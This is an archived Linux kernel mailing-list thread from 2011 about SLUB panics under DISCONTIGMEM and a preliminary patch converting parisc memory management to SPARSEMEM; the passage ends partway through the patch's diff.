	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Dave Hansen <dave@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 23:33:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDNyW-0001Vw-BP
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 23:33:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756728Ab1DVVdM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 17:33:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56469 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756572Ab1DVVdL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 17:33:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DB3AF8EE0A4;
	Fri, 22 Apr 2011 14:33:10 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 74PuZZqoPA02; Fri, 22 Apr 2011 14:33:10 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 62D908EE01D;
	Fri, 22 Apr 2011 14:33:08 -0700 (PDT)
In-Reply-To: <1303411537.9048.3583.camel@nimitz>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3664 gmane.linux.kernel.mm:61890 gmane.linux.kernel:1130108
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3664>

On Thu, 2011-04-21 at 11:45 -0700, Dave Hansen wrote:
> On Thu, 2011-04-21 at 13:33 -0500, Christoph Lameter wrote:
> > http://www.linux-mips.org/archives/linux-mips/2008-08/msg00154.html
> > 

By the way, this reference is actively wrong for parisc (having just
debugged the problem).  The basic issue is that until we start paging,
we have the kernel and some memory beyond it barely covered with the pg0
page table set up in head.S  On our systems, that extends out to 16MB.
SPARSEMEM is much more bootmem resource greedy than DISCONTIGMEM, so if
we actually call sparse_init() before we have the page tables set up, we
fall off the end of our 16MB mapping and go boom.  For us, therefore, we
can't call sparse_init() until we have our proper page tables in place.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Schmitz <schmitzmic@googlemail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Sat, 23 Apr 2011 13:27:56 +1200
Lines: 79
Approved: news@gmane.org
Message-ID: <BANLkTimw1LNmz7DA1zn=Re-gLJ8_i0znZw@mail.gmail.com>
References: <1303248576.11237.23.camel@mulgrave.site>
	<BANLkTinyvO78OnKZGW3jB_N6uao0tppnAw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303522086 16939 80.91.229.12 (23 Apr 2011 01:28:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Apr 2011 01:28:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-arch@vger.kernel.org, linux-mm@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Thorsten Glaser <tg@mirbsd.de>,
	"Linux/m68k" <linux-m68k@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Sat Apr 23 03:28:00 2011
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1QDRdg-0007sM-4x
	for glpm-linux-m68k@lo.gmane.org; Sat, 23 Apr 2011 03:28:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757161Ab1DWB17 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 22 Apr 2011 21:27:59 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:38464 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757143Ab1DWB15 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Fri, 22 Apr 2011 21:27:57 -0400
Original-Received: by vxi39 with SMTP id 39so749479vxi.19
        for <multiple recipients>; Fri, 22 Apr 2011 18:27:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=pq1F7FyI/PIPT1FMsycM1coK5ldOlYS5SlSQQleBRuM=;
        b=dM0+lnrx5sB29FtHPP2AQbqyedx3a8AJJCR1EoQf8gp/ba4q1urYDCPg17t50ulxMH
         tcPN1kBqNsD5c/1c2lhh9AMiz1Xwq+mPI5SP3CXxZB/Cb8Ll2ZRRKoypyn13q1dMwKVP
         Srml+tQ2YkZPOvKI2g77blZeUOOU5BO8/hS8A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=Mh2mD8ydmxdZWwc+C7GyCGaJD4hnJ+B9cf9azmp2Ct92TqM2+IYImN8fFR6mrKY/rP
         3AdSnl9e1b6qdUtVuMkAoCz/rA/ewmvnZO0EaM++24EyoVkBPpIDvXhRDr8JDf/+Vi90
         /ZKLOSEs9XYhK53rgR4fS6uzOBanoDXTHLwYg=
Original-Received: by 10.52.69.197 with SMTP id g5mr2485795vdu.31.1303522076381; Fri,
 22 Apr 2011 18:27:56 -0700 (PDT)
Original-Received: by 10.52.160.1 with HTTP; Fri, 22 Apr 2011 18:27:56 -0700 (PDT)
In-Reply-To: <BANLkTinyvO78OnKZGW3jB_N6uao0tppnAw@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:2176 gmane.linux.kernel.cross-arch:9643 gmane.linux.ports.parisc:3665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/2176>

The problem was indeed never reported upstream but it does in fact
manifest as a null pointer dereference, and happens in a discontiguous
memory context on m68k. I'm uncertain as to whether I had tracked the
exact source of the null pointer, I need to check my notes on this.

Reverting the commit in question makes SLUB behave as though NUMA was
defined, so this all checks out.

Apologies for not escalating this beyond m68k, and thanks to Geert for
spotting the connection.

Cheers,

  Michael


On Wed, Apr 20, 2011 at 7:48 PM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> On Tue, Apr 19, 2011 at 23:29, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
>> Slub makes assumptions about page_to_nid() which are violated by
>> DISCONTIGMEM and !NUMA. =A0This violation results in a panic because
>> page_to_nid() can be non-zero for pages in the discontiguous ranges =
and
>> this leads to a null return by get_node(). =A0The assertion by the
>> maintainer is that DISCONTIGMEM should only be allowed when NUMA is =
also
>> defined. =A0However, at least six architectures: alpha, ia64, m32r, =
m68k,
>> mips, parisc violate this. =A0The panic is a regression against slab=
, so
>> just mark slub broken in the problem configuration to prevent users
>> reporting these panics.
>
> How does the problem manifest itself? We're having a problem on m68k,=
 which
> seems to go away when switching from SLUB to SLAB, or when reverting =
a commit
> in [2] (probably this was never reported upstream).
>
> References:
> [1] http://www.mail-archive.com/linux-m68k@vger.kernel.org/msg02812.h=
tml
> [2] http://www.spinics.net/lists/linux-m68k/msg03401.html
>
>> Cc: stable@kernel.org
>> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
>>
>> ---
>>
>> diff --git a/init/Kconfig b/init/Kconfig
>> index 56240e7..a7ad8fb 100644
>> --- a/init/Kconfig
>> +++ b/init/Kconfig
>> @@ -1226,6 +1226,7 @@ config SLAB
>> =A0 =A0 =A0 =A0 =A0per cpu and per node queues.
>>
>> =A0config SLUB
>> + =A0 =A0 =A0 depends on BROKEN || NUMA || !DISCONTIGMEM
>> =A0 =A0 =A0 =A0bool "SLUB (Unqueued Allocator)"
>> =A0 =A0 =A0 =A0help
>> =A0 =A0 =A0 =A0 =A0 SLUB is a slab allocator that minimizes cache li=
ne usage
>
> Gr{oetje,eeting}s,
>
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Geert
>
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linu=
x-m68k.org
>
> In personal conversations with technical people, I call myself a hack=
er. But
> when I'm talking to journalists I just say "programmer" or something =
like that.
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=A0 =A0=A0 -- =
Linus Torvalds
>

From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: [PATCH] convert parisc to sparsemem (was Re: [PATCH v3] mm: make
 expand_downwards symmetrical to expand_upwards)
Date: Sat, 23 Apr 2011 13:34:17 -0500
Lines: 531
Approved: news@gmane.org
Message-ID: <1303583657.4116.11.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303411537.9048.3583.camel@nimitz>
	 <1303507985.2590.47.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303583672 18631 80.91.229.12 (23 Apr 2011 18:34:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Apr 2011 18:34:32 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Dave Hansen <dave@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 23 20:34:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDhey-0000cP-2U
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Apr 2011 20:34:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753833Ab1DWSeX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Apr 2011 14:34:23 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49176 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752849Ab1DWSeW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Apr 2011 14:34:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3F7718EE0C5;
	Sat, 23 Apr 2011 11:34:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HMDqMBh5Hu9f; Sat, 23 Apr 2011 11:34:21 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8640A8EE0C4;
	Sat, 23 Apr 2011 11:34:19 -0700 (PDT)
In-Reply-To: <1303507985.2590.47.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3666 gmane.linux.kernel.mm:61901 gmane.linux.kernel:1130305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3666>

This is the preliminary conversion.  It's very nasty on parisc because
the memory allocation isn't symmetric anymore: under DISCONTIGMEM, we
push all memory into bootmem and then let free_all_bootmem() do the
magic for us; now we have to do separate initialisations for ranges
because SPARSEMEM can't do multi-range boot memory. It's also got the
horrible hack that I only use the first found range for bootmem.  I'm
not sure if this is correct (it won't be if the first found range can be
under about 50MB because we'll run out of bootmem during boot) ... we
might have to sort the ranges and use the larges, but that will involve
us in even more hackery around the bootmem reservations code.

The boot sequence got a few seconds slower because now all of the loops
over our pfn ranges actually have to skip through the holes (which takes
time for 64GB).

All in all, I've not been very impressed with SPARSEMEM over
DISCONTIGMEM.  It seems to have a lot of rough edges (necessitating
exception code) which DISCONTIGMEM just copes with.

And before you say the code is smaller, that's because I converted us to
generic show_mem().

James

---

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 69ff049..b416641 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -233,22 +233,17 @@ config ARCH_SELECT_MEMORY_MODEL
 	def_bool y
 	depends on 64BIT
 
-config ARCH_DISCONTIGMEM_ENABLE
+config ARCH_SPARSEMEM_ENABLE
 	def_bool y
 	depends on 64BIT
 
 config ARCH_FLATMEM_ENABLE
 	def_bool y
 
-config ARCH_DISCONTIGMEM_DEFAULT
+config ARCH_SPARSEMEM_DEFAULT
 	def_bool y
 	depends on ARCH_DISCONTIGMEM_ENABLE
 
-config NODES_SHIFT
-	int
-	default "3"
-	depends on NEED_MULTIPLE_NODES
-
 source "kernel/Kconfig.preempt"
 source "kernel/Kconfig.hz"
 source "mm/Kconfig"
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index 9608d2c..8344bcb 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,73 +1,11 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
-#ifdef CONFIG_DISCONTIGMEM
+#ifdef CONFIG_SPARSEMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
-extern int npmem_ranges;
-
-struct node_map_data {
-    pg_data_t pg_data;
-};
-
-extern struct node_map_data node_data[];
-
-#define NODE_DATA(nid)          (&node_data[nid].pg_data)
-
-#define node_start_pfn(nid)	(NODE_DATA(nid)->node_start_pfn)
-#define node_end_pfn(nid)						\
-({									\
-	pg_data_t *__pgdat = NODE_DATA(nid);				\
-	__pgdat->node_start_pfn + __pgdat->node_spanned_pages;		\
-})
-
-/* We have these possible memory map layouts:
- * Astro: 0-3.75, 67.75-68, 4-64
- * zx1: 0-1, 257-260, 4-256
- * Stretch (N-class): 0-2, 4-32, 34-xxx
- */
-
-/* Since each 1GB can only belong to one region (node), we can create
- * an index table for pfn to nid lookup; each entry in pfnnid_map 
- * represents 1GB, and contains the node that the memory belongs to. */
-
-#define PFNNID_SHIFT (30 - PAGE_SHIFT)
-#define PFNNID_MAP_MAX  512     /* support 512GB */
-extern unsigned char pfnnid_map[PFNNID_MAP_MAX];
-
-#ifndef CONFIG_64BIT
-#define pfn_is_io(pfn) ((pfn & (0xf0000000UL >> PAGE_SHIFT)) == (0xf0000000UL >> PAGE_SHIFT))
+#define MAX_PHYSMEM_RANGES 	8 /* current max is 3 but future proof this */
 #else
-/* io can be 0xf0f0f0f0f0xxxxxx or 0xfffffffff0000000 */
-#define pfn_is_io(pfn) ((pfn & (0xf000000000000000UL >> PAGE_SHIFT)) == (0xf000000000000000UL >> PAGE_SHIFT))
-#endif
-
-static inline int pfn_to_nid(unsigned long pfn)
-{
-	unsigned int i;
-	unsigned char r;
-
-	if (unlikely(pfn_is_io(pfn)))
-		return 0;
-
-	i = pfn >> PFNNID_SHIFT;
-	BUG_ON(i >= sizeof(pfnnid_map) / sizeof(pfnnid_map[0]));
-	r = pfnnid_map[i];
-	BUG_ON(r == 0xff);
-
-	return (int)r;
-}
-
-static inline int pfn_valid(int pfn)
-{
-	int nid = pfn_to_nid(pfn);
-
-	if (nid >= 0)
-		return (pfn < node_end_pfn(nid));
-	return 0;
-}
-
-#else /* !CONFIG_DISCONTIGMEM */
 #define MAX_PHYSMEM_RANGES 	1 
 #endif
+
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..654285a 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -139,9 +139,9 @@ extern int npmem_ranges;
 #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
 #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
 
-#ifndef CONFIG_DISCONTIGMEM
+#ifndef CONFIG_SPARSEMEM
 #define pfn_valid(pfn)		((pfn) < max_mapnr)
-#endif /* CONFIG_DISCONTIGMEM */
+#endif
 
 #ifdef CONFIG_HUGETLB_PAGE
 #define HPAGE_SHIFT		22	/* 4MB (is this fixed?) */
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index df65366..526122c 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -147,12 +147,6 @@ extern void $$dyncall(void);
 EXPORT_SYMBOL($$dyncall);
 #endif
 
-#ifdef CONFIG_DISCONTIGMEM
-#include <asm/mmzone.h>
-EXPORT_SYMBOL(node_data);
-EXPORT_SYMBOL(pfnnid_map);
-#endif
-
 #ifdef CONFIG_FUNCTION_TRACER
 extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 5fa1e27..69c547c 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -21,7 +21,6 @@
 #include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/unistd.h>
-#include <linux/nodemask.h>	/* for node_online_map */
 #include <linux/pagemap.h>	/* for release_pages and page_cache_release */
 
 #include <asm/pgalloc.h>
@@ -35,11 +34,6 @@ DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
 extern int  data_start;
 
-#ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_NUMNODES] __read_mostly;
-unsigned char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
-#endif
-
 static struct resource data_resource = {
 	.name	= "Kernel data",
 	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
@@ -110,7 +104,7 @@ static void __init setup_bootmem(void)
 	unsigned long bootmap_pages;
 	unsigned long bootmap_start_pfn;
 	unsigned long bootmap_pfn;
-#ifndef CONFIG_DISCONTIGMEM
+#ifndef CONFIG_SPARSEMEM
 	physmem_range_t pmem_holes[MAX_PHYSMEM_RANGES - 1];
 	int npmem_holes;
 #endif
@@ -144,7 +138,7 @@ static void __init setup_bootmem(void)
 		}
 	}
 
-#ifndef CONFIG_DISCONTIGMEM
+#ifndef CONFIG_SPARSEMEM
 	/*
 	 * Throw out ranges that are too far apart (controlled by
 	 * MAX_GAP).
@@ -156,7 +150,7 @@ static void __init setup_bootmem(void)
 			 pmem_ranges[i-1].pages) > MAX_GAP) {
 			npmem_ranges = i;
 			printk("Large gap in memory detected (%ld pages). "
-			       "Consider turning on CONFIG_DISCONTIGMEM\n",
+			       "Consider turning on CONFIG_SPARSEMEM\n",
 			       pmem_ranges[i].start_pfn -
 			       (pmem_ranges[i-1].start_pfn +
 			        pmem_ranges[i-1].pages));
@@ -228,7 +222,7 @@ static void __init setup_bootmem(void)
 
 	printk(KERN_INFO "Total Memory: %ld MB\n",mem_max >> 20);
 
-#ifndef CONFIG_DISCONTIGMEM
+#ifndef CONFIG_SPARSEMEM
 	/* Merge the ranges, keeping track of the holes */
 
 	{
@@ -253,48 +247,29 @@ static void __init setup_bootmem(void)
 	}
 #endif
 
-	bootmap_pages = 0;
-	for (i = 0; i < npmem_ranges; i++)
-		bootmap_pages += bootmem_bootmap_pages(pmem_ranges[i].pages);
+	bootmap_pages = bootmem_bootmap_pages(pmem_ranges[0].pages);
 
 	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
 
-#ifdef CONFIG_DISCONTIGMEM
-	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
-		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
-		NODE_DATA(i)->bdata = &bootmem_node_data[i];
-	}
-	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
-
-	for (i = 0; i < npmem_ranges; i++) {
-		node_set_state(i, N_NORMAL_MEMORY);
-		node_set_online(i);
-	}
-#endif
-
 	/*
-	 * Initialize and free the full range of memory in each range.
-	 * Note that the only writing these routines do are to the bootmap,
-	 * and we've made sure to locate the bootmap properly so that they
-	 * won't be writing over anything important.
+	 * Only initialise the first memory range to bootmem (the bootmem
+	 * allocation map can't cope with large holes)
 	 */
 
 	bootmap_pfn = bootmap_start_pfn;
 	max_pfn = 0;
-	for (i = 0; i < npmem_ranges; i++) {
+	{
 		unsigned long start_pfn;
 		unsigned long npages;
 
-		start_pfn = pmem_ranges[i].start_pfn;
-		npages = pmem_ranges[i].pages;
+		start_pfn = pmem_ranges[0].start_pfn;
+		npages = pmem_ranges[0].pages;
 
-		bootmap_size = init_bootmem_node(NODE_DATA(i),
+		bootmap_size = init_bootmem_node(NODE_DATA(0),
 						bootmap_pfn,
 						start_pfn,
 						(start_pfn + npages) );
-		free_bootmem_node(NODE_DATA(i),
-				  (start_pfn << PAGE_SHIFT),
-				  (npages << PAGE_SHIFT) );
+		free_bootmem(start_pfn << PAGE_SHIFT, npages << PAGE_SHIFT);
 		bootmap_pfn += (bootmap_size + PAGE_SIZE - 1) >> PAGE_SHIFT;
 		if ((start_pfn + npages) > max_pfn)
 			max_pfn = start_pfn + npages;
@@ -323,7 +298,7 @@ static void __init setup_bootmem(void)
 			((bootmap_pfn - bootmap_start_pfn) << PAGE_SHIFT),
 			BOOTMEM_DEFAULT);
 
-#ifndef CONFIG_DISCONTIGMEM
+#ifndef CONFIG_SPARSEMEM
 
 	/* reserve the holes */
 
@@ -369,6 +344,13 @@ static void __init setup_bootmem(void)
 		request_resource(res, &data_resource);
 	}
 	request_resource(&sysram_resources[0], &pdcdata_resource);
+
+#ifdef CONFIG_SPARSEMEM
+	for (i = 0; i < npmem_ranges; i++) {
+		memory_present(0, pmem_ranges[i].start_pfn,
+			       pmem_ranges[i].start_pfn + pmem_ranges[i].pages);
+	}
+#endif
 }
 
 static void __init map_pages(unsigned long start_vaddr,
@@ -580,7 +562,7 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
+	int codesize, reservedpages, datasize, initsize, i;
 
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
@@ -589,19 +571,27 @@ void __init mem_init(void)
 	BUILD_BUG_ON(PAGE_SHIFT + BITS_PER_PTE + BITS_PER_PMD + BITS_PER_PGD
 			> BITS_PER_LONG);
 
-	high_memory = __va((max_pfn << PAGE_SHIFT));
-
-#ifndef CONFIG_DISCONTIGMEM
-	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
 	totalram_pages += free_all_bootmem();
-#else
-	{
-		int i;
-
-		for (i = 0; i < npmem_ranges; i++)
-			totalram_pages += free_all_bootmem_node(NODE_DATA(i));
+	/* free all the ranges not in bootmem */
+	for (i = 1; i < npmem_ranges; i++) {
+		unsigned long pfn = pmem_ranges[i].start_pfn;
+		unsigned long end = pfn + pmem_ranges[i].pages;
+
+		if (end > max_pfn)
+			max_pfn = end;
+
+		for (; pfn < end; pfn++) {
+			struct page *page = pfn_to_page(pfn);
+			ClearPageReserved(page);
+			init_page_count(page);
+			__free_page(page);
+			totalram_pages++;
+		}
 	}
-#endif
+
+	max_low_pfn = max_pfn;
+	high_memory = __va((max_pfn << PAGE_SHIFT));
+	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
 
 	codesize = (unsigned long)_etext - (unsigned long)_text;
 	datasize = (unsigned long)_edata - (unsigned long)_etext;
@@ -610,24 +600,15 @@ void __init mem_init(void)
 	reservedpages = 0;
 {
 	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
 	for (pfn = 0; pfn < max_pfn; pfn++) {
 		/*
 		 * Only count reserved RAM pages
 		 */
+		if (!pfn_valid(pfn))
+			continue;
 		if (PageReserved(pfn_to_page(pfn)))
 			reservedpages++;
 	}
-#endif
 }
 
 #ifdef CONFIG_PA11
@@ -680,78 +661,6 @@ void __init mem_init(void)
 unsigned long *empty_zero_page __read_mostly;
 EXPORT_SYMBOL(empty_zero_page);
 
-void show_mem(unsigned int filter)
-{
-	int i,free = 0,total = 0,reserved = 0;
-	int shared = 0, cached = 0;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas();
-#ifndef CONFIG_DISCONTIGMEM
-	i = max_mapnr;
-	while (i-- > 0) {
-		total++;
-		if (PageReserved(mem_map+i))
-			reserved++;
-		else if (PageSwapCache(mem_map+i))
-			cached++;
-		else if (!page_count(&mem_map[i]))
-			free++;
-		else
-			shared += page_count(&mem_map[i]) - 1;
-	}
-#else
-	for (i = 0; i < npmem_ranges; i++) {
-		int j;
-
-		for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
-			struct page *p;
-			unsigned long flags;
-
-			pgdat_resize_lock(NODE_DATA(i), &flags);
-			p = nid_page_nr(i, j) - node_start_pfn(i);
-
-			total++;
-			if (PageReserved(p))
-				reserved++;
-			else if (PageSwapCache(p))
-				cached++;
-			else if (!page_count(p))
-				free++;
-			else
-				shared += page_count(p) - 1;
-			pgdat_resize_unlock(NODE_DATA(i), &flags);
-        	}
-	}
-#endif
-	printk(KERN_INFO "%d pages of RAM\n", total);
-	printk(KERN_INFO "%d reserved pages\n", reserved);
-	printk(KERN_INFO "%d pages shared\n", shared);
-	printk(KERN_INFO "%d pages swap cached\n", cached);
-
-
-#ifdef CONFIG_DISCONTIGMEM
-	{
-		struct zonelist *zl;
-		int i, j;
-
-		for (i = 0; i < npmem_ranges; i++) {
-			zl = node_zonelist(i, 0);
-			for (j = 0; j < MAX_NR_ZONES; j++) {
-				struct zoneref *z;
-				struct zone *zone;
-
-				printk("Zone list for zone %d on node %d: ", j, i);
-				for_each_zone_zonelist(zone, z, zl, j)
-					printk("[%d/%s] ", zone_to_nid(zone),
-								zone->name);
-				printk("\n");
-			}
-		}
-	}
-#endif
-}
-
 /*
  * pagetable_init() sets up the page tables
  *
@@ -886,6 +795,9 @@ EXPORT_SYMBOL(map_hpux_gateway_page);
 void __init paging_init(void)
 {
 	int i;
+	unsigned long zones_size[MAX_NR_ZONES] = { 0, };
+	unsigned long holes_size[MAX_NR_ZONES] = { 0, };
+	unsigned long mem_start_pfn = ~0UL, mem_end_pfn = 0, mem_size_pfn = 0;
 
 	setup_bootmem();
 	pagetable_init();
@@ -893,27 +805,31 @@ void __init paging_init(void)
